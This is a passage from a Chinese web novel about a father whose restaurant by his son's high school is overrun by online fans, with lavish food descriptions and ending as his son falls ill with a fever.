他即便稍微增加点菜量，每顿饭也只能满足六十多人的吃饭需求，对比全校大几千人，根本就是供不应求。 学生们别说一天两顿，一天能在他家吃到一顿饭都算运气好。 本来要跟学校里那么多学生抢就已经很不容易，随着消息传开，越来越多校外顾客开始过来吃饭，更是令学生们眼前一黑又一黑。 “这日子真是没法过了！” 在有学生忍不住发出抱怨声时，楚易文也翻车了，有个到店来吃饭的顾客竟然刷到过他的视频，而且手欠地在视频评论区分享这个消息。 于是当天晚上，楚易文新视频刚发出去，评论区瞬间就热闹起来。 【好啊你！我还以为你就是纯馋人，结果你竟然偷偷在外面开店还不说！太过分了！】 【真的假的？怎么会有人开店不打广告，还瞒得那么紧的？是看不起我们粉丝，觉得我们没有实力去消费吗？】 第72章 黄豆烧鸡爪 楚易文在看到评论区就有股不太好的预感, 等到第二天时，预感果然成真。 之前他家店也有除学生外的顾客会来吃，但基本都是学校周边的老板或者居民。而且并不是所有人都有空提前过来等饭吃, 每天放学前在门口等待的一直保持在十人左右。 今天中午，在他打开大门时，外面却是有二十来号人。 “不愧是厨王，你做的菜简直太香了！隔着大门都差点没把我馋死！” “嘿嘿，厨王，惊喜不惊喜，意外不意外？” “天天被你的做菜视频馋, 今天总算是能尝尝到底是什么味道。” 不用说，等在门卫这些人有一半都是他粉丝，所以才会打趣地喊他“厨王”。甚至有人手里还在举着手机拍视频, 边拍边说：“哈哈，看厨王脸上那个表情……” 楚易文有些无奈，但来者是客, 他总不可能不让粉丝们进来吃饭。 随着店门打开，更加浓郁诱人的香味扑面而来, 粉丝们顿时顾不上在打趣他，赶紧跑进店里。 今天有辣子鸡丁、豆腐酿肉、豆芽炒撒子、四喜丸子、孜然牛肉、番茄鸡蛋汤，每样菜都色香味俱全，比视频中看起来还诱人。 粉丝们看视频时多少还怀疑他开了滤镜, 否则不会那么馋人，此时看到实物，才震惊地发现，原来菜的卖相真的能不用滤镜就馋死个人。 “厨王，每样菜给我来一份！” “我也是！” 楚易文闻言担心会浪费：“你们能吃完吗？” “放心, 要是吃不完我打包回家，打车花了一个小时才过来，我肯定得吃回本。” 听到对方这么说，楚易文还能说什么，赶紧给他们打菜。 红彤彤的辣椒中藏着金黄色鸡丁，看起来就特别好吃，还没吃就让人感受到辣子鸡丁的酥脆。 豆芽炒撒子更是卖相诱人，玉白色的豆芽和金灿灿的撒子交织在一起，豆芽的水润和撒子的油润散发出一股特殊的香气。 孜然牛肉更不用说，牛肉特有的鲜香混着孜然香，那股类似烧烤的香气很是诱人。 四喜丸子每颗大小都相同，那圆润饱满，裹着浓稠汤汁的模样，让人特别想咬一口。 豆腐酿肉同样诱人，表面煎得微微金黄的豆腐里面塞着肉馅，散发出浓郁豆香和肉香，还没吃就令人垂涎欲滴。 就连看起来特别家常的番茄鸡蛋汤，那略带酸甜气息的鲜味闻起来都格外开胃。 和冷冰冰的视频比起来，摆在面前热腾腾的饭菜更加诱人，粉丝们一个个不自觉吞咽着口水，心里都觉得今天真是来对了。 等拿到饭菜后，粉丝更是迫不及待就开吃，先对着四喜丸子咬一口，表面浓稠的汤汁落下来，咸鲜浓郁，咀嚼间整个丸子酥软松化，肥而不腻，简直是人间美味。 原本他是想先把每个菜全部尝一遍，结果咬上四喜丸子就停不下来，一口接着一口。等到吃完，他回味着嘴里的余味，都有点不相信那么大个丸子三两下就被自己吃完，感觉根本没吃够。 “太好吃了！怎么会有这么好吃的四喜丸子！” 他舔着嘴巴，忍不住回头道：“老板，我能再买一个四喜丸子吗？” 粉丝们刚刚一声声“厨王”喊得楚易文实在太尴尬，便提出让他们叫自己老板。 开吃前粉丝们可以不听，但在尝到如此美味后，没有吃货会继续得罪厨子，于是粉丝自觉地改口。 “不好意思，四喜丸子每个人只能买一个。” 他好不容易答应那帮嘴甜的学生每天多做几份菜，结果粉丝们一过来，今天必然又有不少学生吃不上，他唯一能做的就是限购一下。 粉丝闻言有点失望，不过好在其他菜色同样诱人，他立刻就将注意力转移到下个菜上。 “我的天哪！这个豆芽炒撒子也太好吃了！看视频时还以为就是道比较有趣的素菜，没想到这口感……真是绝了！” 视频只能看到菜的卖相，香气和味道全靠脑补，之前刷视频时他以为豆芽炒撒子就是搭配比较新鲜，此时真正吃到，才发现味道比自己想象中好吃一百倍不止。 撒子表面湿润内里酥脆和豆芽的爽脆多汁形成对比，加上那口锅边醋的酸香，以及汤汁的咸鲜打底，这道菜不光口感好，吃起来更是又香又开胃。 两口豆芽炒撒子进肚子，他不由扒了几口米饭，香得眼睛都差点没闭上。 今天过来的粉丝有男有女，都是云市本地人，此时基本上每个人都吃得头也不抬，完全沉浸在美食中。 直到学生们急促的脚步声在店外响起，带着热闹的氛围闯入，他们才顺着动静微微抬头，不过嘴上吃饭动作却是没停。 “太好吃了，每道菜都特别美味，真羡慕这些学生。”有个女粉丝是和朋友一起过来，此时望着那群洋溢着青春的高中生，语气透着羡慕。 “是啊，我们读书那会可吃不到这种美味的饭菜。” “主要就算有这么好吃的店，那会我们也没那么多钱出来吃啊……” 她们边吃边羡慕时，排队的学生望着她们桌上五菜一汤，同样在羡慕。 “哇，今天的菜每个看起来都好好吃，我全都想吃。” “要不我们三个人一起买？” “行啊，不过能多买点辣子鸡丁吗？看起来好好吃的样子。” 红红火火的辣椒和金黄诱人的鸡丁组合在一起，确实看起来特别诱人，那卖相，让只要能吃辣的学生都不愿意错过。 “莹莹，这里。” 其他学生还在排队时，莹莹听到妈妈的声音，像只欢快的小鸟一样扑到她面前。 “妈妈你真好~” 望着桌上美味的饭菜，莹莹心情好得不能再好，甜甜地对妈妈说完，迫不及待拿起筷子。 她爱吃辣，第一个就朝辣子鸡丁下筷子，随着鸡肉进嘴，一股刺激的麻辣味瞬间弥漫整个口腔，轻轻咬开表面酥脆的外壳，内里鸡肉鲜嫩多汁。那麻辣的口感，外酥里嫩的滋味，令她越吃越觉得香，嘴里鸡肉还没咽下，筷子已经继续在红彤彤的辣椒里“寻宝”，寻到鸡丁后愉悦地送进嘴里。 辣子鸡丁极致的麻辣风味吃起来简直令人上瘾，她吃着吃着，甚至连盘子里红彤彤的辣椒都忍不住来一口。 辣椒有点辣，但由于被煸炒过，吃起来还挺香。 “妈妈，这个辣子鸡丁嘶……太好吃了……” 看到女儿被辣到还继续吃，莹莹妈妈赶紧提醒：“快吃口米饭。” 晶莹的米饭散发出浓郁米香，和不少店中为了节约成本，用陈米煮出来的死米饭完全不同，看起来就让人很有食欲。 莹莹将米饭送进嘴里，多嚼几下后，感受到辣子鸡丁配饭吃又香又下饭，筷子越发停不下来。 随着店内位置被坐满，大部分人都在埋头苦吃，此时心理活动都差不多，基本上都是“太好吃了”、“怎么会这么好吃”、“真香”、“太香了”之类的评论。 今天由于外来顾客增加，必然会导致吃到饭的学生变少，在楚易文卖完最后几份菜时，没买到的学生发出失望的声音。 “我放学就立刻跑过来了，为什么还是没买到？” “啊啊啊！太难受了，我好想吃辣子鸡丁啊！” “烦死了，又没吃到，一点也不想去吃食堂。” “老板求求了，你能不能多做点啊！我真的好想吃你家的饭菜！” 楚易文对上他们可怜巴巴的眼神，只能赶紧收拾东西进厨房。没办法，今天连米饭都全部卖光，他想给炒个蛋炒饭都没食材，只能躲起来。 等到他终于能坐到儿子身边吃饭时，叶其林夸道：“楚爸，感觉你手艺越来越好了，今天的辣子鸡丁比之前还好吃。” 具体好吃在哪方面他说不上来，就是感觉今天的辣子鸡丁吃起来更香，更加令他上瘾。 “你这是说楚爸之前做的不好吃？”胡一齐吃饱了没事干故意找茬。 叶其林白他一眼：“刚刚最后一口孜然牛肉我就不该让给你。” “什么你让的，那是我凭本事抢到的。” 胡一齐跟叶其林拌嘴时，楚瑾钰却是盯上他爸面前的辣子鸡丁，重新握起筷子蹭了口。 发现儿子的动作，楚易文直接将盘子往他那边推了推。 楚瑾钰其实已经吃饱，只是看他爸吃饭又有点嘴馋，见他爸推过来自然不会客气，又连吃两口才放下筷子。 麻辣咸鲜的辣子鸡丁比超市里卖的肉类零食还香，越吃越令人上瘾，如果不是他已经吃得很饱，还真想再多吃点。 “爸，我怎么感觉今天店里其他顾客好像更多了？”楚瑾钰想到刚刚进店时店内几乎坐满人，随口问。 楚易文闻言，叹气道：“别提了，也不知道是谁在视频底下发的消息，今天好多粉丝过来吃饭，我感觉接下来估计会更多。” “不是吧，谁那么无聊啊。”胡一齐道。 叶其林：“希望来的人少点，不然我们班上其他同学就更别想过来吃饭了。” 左右楚瑾钰他们是不用怕没饭吃，因此也没太放在心上，简单聊几句就回学校去。 与此同时，在店里吃饱喝足的粉丝们效率是真高，午餐过后就不约而同跑到视频评论区分享起来。 【天天被视频里的美食馋，今天总算吃到了，特别特别好吃，简直不虚此行［图片］［图片］】 【之前被视频馋到时还以为是滤镜开效果好，今天亲自去店里吃，才发现老板拍视频竟然完全没用滤镜［图片］】 【太好吃了，辣子鸡丁外酥里嫩，孜然牛肉鲜香美味……简直是人间美味，好吃到我都没来得及拍照。】 【等会？我错过什么了？博主什么时候开店了？我怎么不知道？】 【可恶，为什么不是在我家这边开店？之前天天被视频馋，现在又要被照片馋，我也好想尝尝啊！】 【查了一下，两个小时车程就能到，也不算特别远，今天没空，等哪天有时间，我高低得过去尝尝。】 【咦！这不是我的高中母校吗？这可太巧了，等着，我明天就过去吃。】 不出楚易文所料，接下来两天，店里来的粉丝越来越多，从十几个人发展到二三十人，而且还有很多人喊着有时间也要来。 阻止不了粉丝们，楚易文只能选择接受，继续按部就班过着自己的小日子。 又到一个周末，中午楚易文正在厨房里做饭，手机忽然响起来。 他没空接电话，就喊了声儿子，楚瑾钰立刻小跑到茶几前拿起电话：“喂，谁啊？” “老板，你今天怎么没开店？” “今天周末，我们家不营业。”楚瑾钰直接替他爸回答。 楚易文开店本来就是为了方便儿子吃饭，周末高三放假，他自然不可能继续开店。 电话拿头的顾客闻言立刻道：“周末怎么了？周末也不能放着钱不赚啊！” “我爸本来就没准备靠开店赚钱，我挂了。” 楚瑾钰想要挂电话，顾客却不让：“别啊，小孩哥你行行好，你爸不开店我都不知道吃什么好，你让他来营业吧……” “你上班没？”楚瑾钰直接问。 “上了。” “你自己上班单休的工作都要骂老板，现在还想让我爸无休？”楚瑾钰说完直接挂掉电话。 厨房内，抽油烟机的声音让楚易文只听见儿子在跟人说话，没听清楚具体说什么，不由问：“谁啊？” “不知道哪个顾客，打电话过来催你去开店，大周末的，鬼才去开店。”楚瑾钰道。 楚易文听到儿子的话笑了一下，没太放在心上，最后一个菜出锅后招呼儿子一起吃饭。 午餐结束，楚瑾钰在家里做作业，楚易文则是开车出去钓鱼。 他还挺有闲情逸致，钓鱼时带着两本书，没鱼上钩就边书看边等，那叫一个潇洒。 钓完鱼回家，晚上吃过饭，楚瑾钰跟叶其林他们打游戏，楚易文则是先去书房剪视频，等到临睡前，又去系统厨房学习新食谱。 他今天要学习的是黄豆烧鸡爪，葱、姜、蒜、干辣椒等配料先炒香，随即下入处理干净的鸡爪，大火翻炒让鸡爪表面微微变焦黄，随即在锅边淋一圈料酒。 料酒遇到高温发出“嗤啦”一声后，他快速翻炒让鸡爪去腥增鲜，随即加入生抽、老抽等调料给鸡爪上色。 随着楚易文厨艺越来越好，老爷子毒舌的话都变少很多，如今更是大部分时间都看着他发挥，偶尔才指点两句。 随着鸡爪开始炖煮，浓郁的肉香飘出来，同时混着生抽、老抽带来的酱香，以及复合的香料气息，闻起来很是诱人。 换做刚开始学习厨艺时，这道黄豆烧鸡爪楚易文可能还要费些心思去学，而现在，他却是做两遍就已经达到老爷子的要求。眼见时间还早，他又去系统小饭馆练习了一会，赚取不少积分。 自从发现市面上不少食材都令他感到不满意后，楚易文隔三差五就喜欢在系统里兑换食材，因此积分对他来说还挺重要。 【顾客下单椒盐大虾，请尽快出菜。】 【脆皮猪肘获得顾客好评，积分……】 通过系统小饭馆又赚到不少积分后，楚易文看了眼积分余额，带着心满意足睡过去。 次日是星期一，天气不好也不坏，不过早晨的风已经带上几分秋天的凉意。 楚易文采购完食材来到店里，第一件事就是先把黄豆浸泡起来，随即才开始处理其他食材。 十点左右，店内已经有隐约香味开始飘出来，很快香气越来越浓。十点半左右，店门口已经开始有人过来，今天甚至有人拿着手机在直播。 “大家好，这里就是最近在网上挺多人好奇的盲盒餐厅，哇，才刚来到店门外我就闻见股特别诱人的香味……” “兄弟，你是网红吗？” 看到有人在直播，某位顾客好奇地凑过来。 “我就是个新人小主播，过来蹭个热度。” 这个昵称叫“葫芦”的主播倒是挺诚实，问话的顾客闻言朝他屏幕上扫过去，开口道：“不错了，都快有一百人了，我给你加个关注。” “谢谢。”主播道谢完，随即跟他聊起来，通过这位老顾客深入了解盲盒餐厅。 “店还没开门，人已经越来越多，看来这家店确实很火……”眼见又过来不少人，主播转动着镜头对直播间里观众道。 直播间里大多数人都是本地人，听说云市新开了家特别好吃的店，想看看是不是真的。 在学校放学铃声响起时，店门外已经有三四十号人等着，楚易文做好午餐将门打开，浓郁中饭菜香瞬间从店里涌出去。 “好香！”举着手机的主播闻着扑面而来的香气，赶紧快步进入店中。 他来得算比较早，很快就排到前面，当手机镜头对准盆里的菜肴时，隔着屏幕就馋哭直播间观众们。 其他菜先不说，单是那道楚易文昨晚新学的黄豆烧鸡爪看起来就格外诱人。红彤彤的辣椒和汤汁组成红亮油润的色泽，裹在鸡爪和黄豆上，光是看着就让人不自觉咽口水。 主播将所有饭菜点了一份，随即找个位置坐下，架好镜头就迫不及待地开吃。 在浓郁的香味诱惑下，他连“粉丝先吃”的江湖规矩都忘记，握着筷子就先夹一个鸡爪送到嘴边。长时间的炖煮让鸡爪变得特别软糯，那股胶质感被炖出来，轻轻一抿肉就直接脱骨。 微微浓稠的汤汁裹在鸡爪上，肉入口的同时，香辣中带着酱香浓郁的滋味蔓延开来，味道特别丰富。 鸡爪整体吃起来有点辣，但辣得特别过瘾，主播不知不觉就啃完整个鸡爪，连骨头都忍不住嚼碎。软糯入味的鸡爪吃起来简直太上瘾，让他甚至都忘记自己还在直播，舔着嘴巴又继续吃下一个。 鸡爪火候把握得特别好，那股软糯的胶质感吃起来特别香，如果出锅时间早一些，可能没有那么软糯，如果出锅再晚一些，那就不是软糯而是烂糊糊。 食材本身的鲜香配上绝佳的调味，好吃到令人完全停不下来，而且不光鸡爪好吃，里面黄豆更是美味，粉糯绵软的黄豆吸收汤汁，豆香、酱香和辣味完美融合，吃起来和鸡爪一样令人上瘾。 【好馋，这黄豆烧鸡爪一看就炖得很香，尤其是黄豆和汤，拿来拌饭吃肯定好吃。】 【主播你吃得明白吗？吃不明白换我过去吃！】 【好诱人的卖相，好想吃一口鸡爪，再用黄豆拌饭吃，想想就很美味。】 直播间里粉丝被馋得不行时，已经放学的学生们站在店里，同样忍不住咽口水。 “还好还好，我买到了。” 买到饭菜的学生发出庆幸的声音，随即也不在乎店里没位置坐，找个角落站着就直接开吃。 “唔，鸡爪好好吃啊！” 新鲜的鸡爪被处理得干干净净，吃起来半点异味都没有，满满都是食材本身的鲜味和带着酱香的辣味，那软糯的口感微微黏唇，却吃起来格外香。 “太过瘾了！” 楚瑾钰爱吃辣，吃着他爸做的黄豆烧鸡爪，感觉不管是鸡爪还是黄豆都特别好吃。 他和叶其林几人是吃爽了，最先过来的学生们买到饭菜同样心情愉悦，已经沉浸在美食中。但随着楚易文宣布菜没有了，剩下的学生们却是难受得不行。 “太烦了，跟学校里的人还能抢一抢，可校外的人提前过来，怎么抢啊！” 显然，学生们并不瞎，当然看出来在座的顾客中大部分都是成年人，不由发出抱怨声。 “真是服了，干嘛要跑到学校来跟我们抢饭吃！” “哎，没办法了，我晚上就去找我奶奶，反正她在家也没事干，明天让我奶奶来帮我买饭！” “我奶奶也有空，但我不敢叫她，我怕我爸妈知道骂我。” “好主意，我也要找我爷爷帮忙买饭，不然感觉根本买不到。” 第73章 水煮鱼片 为了吃到盲盒餐厅的饭, 学生们开始各显神通，家里有老人能帮忙的去找老人，没人能帮忙但手里不缺零花钱的直接去找跑腿。 新的一天, 某小区。 “老赵，来下棋。” 赵老爷子：“我有事，不下了。” “你能有什么事。”坐在折叠桌前的老人不以为意，再次招呼他过来下棋。 赵老爷子：“孙女让我给她帮忙，不跟你说了，时间要来不及了。” 他说完直接坐进自己的老年车，向着孙女学校方向开去, 整个人精神头还挺好。 对于老年人来说，人至暮年，最怕被人遗忘, 孙女撒娇卖乖地求他帮忙，让他有种被需要的感觉，明明时间还挺充裕, 他却是早早就出门，十点还差几分钟就到学校门口。 “盲盒餐厅……” 到学校外找地方把车停好, 赵老爷子开始按照孙女给的店名寻找起来。 盲盒餐厅就在学校大门边，位置特别好找，他很快就找到那家店，发现大门紧闭时还有点担心, 怕这家店没有营业让孙女吃不上饭。 “嚯，竟然有人比我来得还早。”店里的老顾客黄老爷子没事做，从家里溜达过来就发现店门口已经有人在，不免有些诧异。 赵老爷子闻言转头看过来，就瞧见个和自己年纪相仿的老头, 不由问：“你也是来帮家里孩子买饭的？” 孙女之前求他帮忙买饭时说这家店特别好吃，有不少同学都是让家里人帮忙买。 “不是，我自己过来吃饭，你是帮家里孩子买饭的？”黄老爷子家就在附近，由于儿孙都在外地，他目前是独居，自己顾好自己就行。 “对，我孙女说想吃这家饭总是买不着，让我帮忙给她买。” 黄老爷子：“这家确实好吃，而且用的食材也好，我现在天天上他们家吃……” 两个同龄人倒是有话聊，甚至由于干等着无聊，还去旁边文具店买了盒象棋，坐在店门口下起来。 他们下一局棋还没下完，陆续又有人过来，有些蹲着玩手机，有些凑过来看两个老爷子下棋。 店外开始热闹起来时，店铺内的厨房里，楚易文正在做水煮鱼片。上回他做的水煮肉片就很受顾客们喜欢，今天这道水煮鱼片，光是片鱼的刀工就令人惊艳，将鱼片斜刀切成均匀的薄片，完美避开所有鱼刺。 活鱼现片下来的鱼肉，想想就知道会有多鲜美，更别说他还用特殊手法将鱼肉腌制一遍，让它去腥增嫩。 鱼片和配菜都处理好时，他熟门熟路开始炒料，当锅里红油底料炒好时，一股浓郁的麻辣气息飘满整个厨房，很快就从门缝钻出去，钻进顾客们鼻子里。 有人被这股麻辣香呛得打了个喷嚏，随即却忍不住夸：“好香啊！” “不知道老板又在做什么好吃的，香味太浓烈了。” “这股麻辣香，是不是在做水煮肉片？” 在大家发期待的讨论声中，原本下棋的两个老爷子都忍不住抬头看向店里。 赵老爷子：“闻起来真香，怪不得我孙女那么想吃。” 他说完发现店门口已经有十几来号人，算是明白孙女为什么需要自己来帮忙。 店外的喧闹传不到楚易文耳朵里，他炒好底料，将汤底煮沸腾后开始下入鱼片。 他将腌制好的鱼片分散地下入汤中，用锅铲轻轻推散滑煮，很快原本微微透明的鱼肉开始变白，散发出鱼类特有的鲜味。白嫩的鱼片染上汤汁的红亮，看起来已经很诱人，随着他连鱼带汤一起倒入提前铺好蔬菜的盆中，撒上蒜末、干辣椒、花椒用热油浇上去，瞬间激发出更加浓郁而刺激的香味。 水煮鱼片的灵魂就是热油激发香味，随着这一步骤完成，大门根本关不住这股浓烈霸道的麻辣鲜香，直把外面顾客馋得口水都快下来。 “不下了。” 赵、黄两位老爷子闻见这股香味，瞬间无心再下棋，收拾好象棋后起身拍拍裤子上的灰，开始等着店铺开门。 除了他们两个外，旁边还有好几位老头老太太，不用猜都知道，都是被学生们请出来帮忙的。 老人们平常给自己花钱会比较节俭，但对孙子孙女都很大方，随着楚易文将大门打开，一个个特别积极地掏钱。 楚易文看到那些举着现金的老人们，都有点怕他们被推着挤着，赶紧开口：“都慢点，先排队，你们来得早，肯定都能买到。” 实际上年轻顾客们馋归馋，看到那些老年人们其实也不敢挤他们，甚至有人发扬精神，直接让到后面排队。 “哇，我说什么那么香，原来是水煮鱼片！看起来真是太漂亮了！” 红油汤汁里，一片片薄而不散、洁白如玉的鱼片铺在上面，旁边是花椒和红彤彤的干辣椒，铺在底下翠绿的莴笋和豆芽稍微露出点头，卖相看起来令人垂涎欲滴。 随着楚易文开始打菜，勺子搅动间，菜的香味从盆里飘出去，扑面而来的香味令顾客们喉咙不自觉滚动。 与此同时，浓郁的饭菜香从店里缓缓转移到店外，让不少刚从校门口出来的老师闻见这股香味，不自觉加快脚步。 是的，不光学生们喜欢来盲盒餐厅吃饭，学校里老师们同样喜欢，越来越多老师都开始踩着放学时间点出来吃饭。 等到店内已经坐满正在吃饭的顾客时，学生们才终于从学校内飞奔过来，有人赶紧去排队，有人则是赶紧在店内寻找。 “爷爷！” “奶奶！” 一时间，店内响起不少学生们惊喜地喊爷爷奶奶、外公外婆的声音。 “爷爷你真好！” 看到爷爷竟然把所有菜都买了，赵雨语脸上露出兴奋愉悦的表情。 赵老爷子看到孙女那么开心，将筷子递过去：“快吃吧。” “谢谢爷爷，你也多吃点，这家菜可好吃了！”赵雨语说完握着筷子直接夹起片水煮鱼。 看起来特别薄的鱼片用筷子夹起来却并没有碎，送到嘴边时，除了汤汁的麻辣香气，还能闻见食材本身的鲜甜气息。 鱼片吃进嘴里，花椒的酥麻瞬间蔓延开来，随即是来自干辣椒的辣意，香辣和鲜麻的滋味瞬间遍布整个口腔，咀嚼间，鱼肉的鲜香和刺激的麻辣融合在一起，吃起来又香又开胃。 赵雨语吃得眼睛都亮起来，随即又夹一片鱼送进嘴里。 极致嫩滑的鱼肉配上完美的调味，好吃到简直有点上瘾。水煮鱼片的辣不是那种冲着把人辣死的无脑辣，而是恰到好处的香辣，吃起来辣而不燥。 不光她吃得停不下来，坐在她旁边的爷爷同样一口就爱上水煮鱼的味道，不过许是见孙女爱吃，他没多吃鱼肉，而是开始吃里面配菜。 水煮鱼片里的莴笋颜色翠绿，吃起来更是清脆爽口，配上汤汁的麻辣鲜香，味道特别好。 他们祖孙二人被好吃到根本顾不上说话，旁边桌上，却是有顾客好吃到不自觉开口：“我的天！这水煮鱼片也太好吃了，又嫩又滑，跟我以前吃的水煮鱼片完全不同！” 鱼片半点刺都没有，而且还没有腥味，再加上绝佳的火候和调味，这道水煮鱼片简直堪称完美，别说本身就爱吃鱼的人，就连平常不怎么吃鱼的都拒绝不了它。 “你不是不吃鱼吗？” “谁说我不吃鱼，我只是怕鱼刺，这水煮鱼片又没鱼刺。”她说完将一片鱼肉塞进嘴里，享受着那嫩滑麻辣鲜香的滋味，感觉这是自己吃过最美味的鱼。 十月底，天气已经开始转凉，此时吃着略显刺激的水煮鱼片，简直不要太享受。 胡一齐：“楚爸，你做的水煮鱼片太好吃了！” 他忍不住开口夸时，同样爱吃水煮鱼片的楚瑾钰连着往碗里夹好几片，享受着吃着。 叶其林：“主要还没有刺，吃起来太爽了。” “外面卖的也没有刺，但用的鱼明显没有楚爸的新鲜。”商时贸就算怕辣，依旧拒绝不了水煮鱼片的美味，就着米饭小口吃着。 胡一齐边和楚瑾钰抢鱼片边说：“确实，外面卖的好多水煮鱼片都是用的冻货，吃起来糊糊的，根本没这么嫩。” 没有对比时还好，吃过楚易文做的水煮鱼片，感受着鱼肉的滑嫩不失韧劲，他立刻发现以前吃的好多都不是新鲜鱼。 店内很热闹，由于不少学生都请家长帮忙，今天坐着吃饭的学生人数明显比之前多，不过这样就导致外来顾客中，能吃到饭的人变少。 “老板我求求你了，你就不能多做点吗？” 有位顾客好不容易排到，结果水煮鱼片早就卖完，现在只剩下辣椒炒蛋。 楚易文还没来得及回应，排在这位顾客后面的人开口道：“你吃不吃？不吃别挡位置。” 在后面顾客的催促下，那人只能要了份辣椒炒蛋：“菜直接打到米饭上，再给我来点汤。” 楚易文将饭菜打好，那人端着辣椒炒蛋盖浇饭走到旁边吃起来，吃之前他表情还带着几分怨念，等到饭菜入口，爽脆带辣的辣椒和焦香鲜嫩的鸡蛋搭配米香浓郁的米饭，好吃到他心情瞬间就被安抚。 没吃到想吃的菜固然令人失望，但青椒炒蛋的美味却是令他感到惊喜，顿时吃得脸都埋进碗中。 说实话，能吃到辣椒炒蛋盖浇饭已经算幸运，排在更后面的人连辣椒炒蛋都吃不上，只能失望地离开。 面对顾客们嫌他做菜分量少的抱怨，楚易文已经听习惯，左耳朵进右耳朵出，收拾好东西就进厨房端着自己午餐到儿子旁边坐下。 他刚把饭菜放好，就见儿子盯着桌上水煮鱼片看，不由道：“没吃饱？” “吃饱了，就是嘴巴还有点馋。”楚瑾钰说完也不跟他爸客气，握着筷子又吃两口鱼。 楚易文：“喜欢吃下次再给你做。” “爸，下次可以做个水煮鱼加水煮肉片的双拼吗？”楚瑾钰咽下嘴里鱼肉后说。 显然，今天香喷喷的水煮鱼片，好吃的同时还让他想起上次的水煮肉片。 楚易文直接点头答应下来，随即端着碗慢慢吃着饭。 其他顾客都是吃完坐会就走，楚瑾钰他们几个却是不急，坐在桌上陪着楚易文，时不时跟他聊几句。 “我们学校人才是真多，他们为了能过来吃饭，竟然把家里人都喊过来帮忙。” “没办法，楚爸这生意太好，不让家里人帮忙根本吃不上。” 楚易文想到今天格外多的老年顾客，眼底露出几分无奈。 午餐结束，他没继续待在店里，而是回家休息会后又去商场逛了逛，给家里的日用品补充一波后才重新来到店里。 晚餐时间还没到，店门外已经开始热闹起来，那帮没事干的老人们一个来的比一个早。如果说之前他们是为了自家孩子的请求过来，那么中午尝过饭菜的滋味后，他们就是发自内心想早点过来。 下午楚易文炖了红烧肉，当那股浓郁肉香飘出来时，老人们纷纷轻嗅着那股香味，还没吃已经陶醉。 对老一辈人来说，红烧肉绝对是他们心底能排前几的菜肴。跟年轻人爱吃瘦肉不同，从那个人人都缺油水年代过来的老一辈人来说，肥肉才是好东西。 “好香的红烧肉，让我想起当年第一次在国营饭店吃红烧肉时的感觉。” 以前那个年代，能在国营饭店吃炖红烧肉，绝对是能炫耀好几年的事。老人们闻着越来越浓的红烧肉香，都不自觉回忆起曾经属于他们的那个年代。 红烧肉是楚易文最早开始学习的几道菜之一，随着做的次数越来越多，他水平越来越高，如今已经到了光凭香味就能馋死人的地步。 他还在继续做晚饭时，学校内，最后一节课的上课铃声刚响起。 “楚瑾钰，上课了。” 邵言易见上课铃声响起自己同桌还趴在桌上睡觉，先是开口提醒，见他没反应，伸手推推他。 “什么？”楚瑾钰感受到胳膊传来的推搡，迷迷糊糊抬起脑袋。 换做比较粗心的人，可能看到他这样会以为是睡懵了，但邵言易在看到他整张脸都有点红时，第一反应就是：“你是不是发烧了？” “嗯？”楚瑾钰从鼻腔里发出疑惑的声音，像是听不清楚他在说什么。 看到他这样，邵言易越发肯定自己的猜测，伸手摸上他额头，感受到那特别烫手的温度后，赶紧起身扶着他道：“你发烧了，走，我带你去医务室。” 他刚把楚瑾钰扶起来，结果楚瑾钰就重新跌回座位上，见此，他感觉楚瑾钰人已经烧得有点厉害，干脆直接把人背起来。 “老师，楚瑾钰好像发高烧了，我送他去医务室。” 作为全年级第一，邵言易在老师那里还是挺有信誉度，刚进门的老师闻言连检查都没有，直接让开门边的位置方便他出去。 而胡一齐三人闻言，立刻起身。 “老师，我跟着一起去帮忙。” 丢下一句话，三人很快也从教室里跑出去，很快追上邵言易。 “要不要我来背？”叶其林开口道。 邵言易：“没事，我背得动。” 他们俩说话的工夫，胡一齐伸手摸了下楚瑾钰的额头，本来还高兴可以趁机出来放风的他表情瞬间担心起来：“卧槽，好烫啊！楚瑾钰你可别烧傻了！” 楚瑾钰此时整个人已经晕乎乎，只听见胡一齐在旁边嗡嗡嗡，却听不清楚他在说什么。 下楼后，商时贸和叶其林轮流换着把楚瑾钰背了会，一路小跑到医务室。 医务室内，校医给他量完体温立刻道：“三十九度多了，烧得有点厉害，赶紧送他去医院吊水。” 学校医务室处理点简单外伤还没问题，像是这种明显高烧，人都快烧迷糊了显然没办法处理。 邵言易反应最快，闻言立刻重新背起楚瑾钰，抬腿就往校门口跑。 “你们赶紧给叔叔打电话，让他开车到校门口等着。” 邵言易话落，叶其林三人往身上一摸，随即都有点懊恼，显然是都没带手机。 “我回教室拿手机。” 胡一齐话刚落，叶其林摇头道：“楚爸就在学校外面，有拿手机的工夫我们不如直接出去。” “那我先去外面通知楚爸！”胡一齐说完拿出自己最快的速度赶紧往校门口跑。 他跑到大门口，被门卫拦下，赶紧指着后面的人解释起来。 门卫跟楚易文还挺熟，得知是他儿子发高烧，赶紧把门打开，让胡一齐跑出去通知他。 “楚爸，楚爸快开门，楚瑾钰发高烧了！” 胡一齐着急忙慌冲到店门口时，店门口顾客刚开始还以为是有人想插队，等老顾客认出他，赶紧帮忙一起喊。 楚易文听到声音，赶紧关火出来，得知儿子发高烧，哪里还顾得上厨房里已经做好的饭菜，赶紧出去开车。 “谢谢。” 发现是邵言易背着自家儿子，额头甚至已经微微出汗，楚易文伸手把儿子接过来，道谢完对着他们道：“饭已经做得差不多了，你们直接去店里吃饭，邵言易你也去，别跟叔叔客气。” 他语速很快地说完，车子立刻开出去，直奔医院方向。 “楚瑾钰应该不会有事吧？”叶其林目送远去的车子，有点担心。 商时贸：“发烧而已，打个退烧针应该就没事了，走吧，我们去店里。” 他说完，顺手拉上邵言易。 邵言易从小到大都是好学生，闻言有些犹豫：“还没放学，我们不用回教室吗？” “楚爸走得那么急，店没人看，我们还是过去瞧瞧吧。”商时贸道。 邵言易想到楚易文对自己奶奶的帮助，没再拒绝，跟着他们一起走进店里。 “你们过来了，楚瑾钰怎么样？”胡一齐刚刚通知完楚易文本来想跟上，可是看到涌进店里的顾客，觉得店没人看着也不行，最终还是留下。 叶其林：“楚爸已经带他去医院了，应该没什么事。” 听完他们几个的话，店内顾客开口道：“老板走了，那还有饭吃吗？” “你们稍等一下。”商时贸说完，带着叶其林他们一起走进厨房，就发现菜基本上都做好。 红烧肉、韭菜炒河虾、蜜汁排骨、菌菇汤都出锅，锅里的家常豆腐好像也已经熟了，看来只剩最后一个菜还没来得及炒。 “现在怎么办？我们帮忙卖？” “只能这样了，都已经做好，总不能浪费。” “那先把楚爸和楚瑾钰那份留出来。” 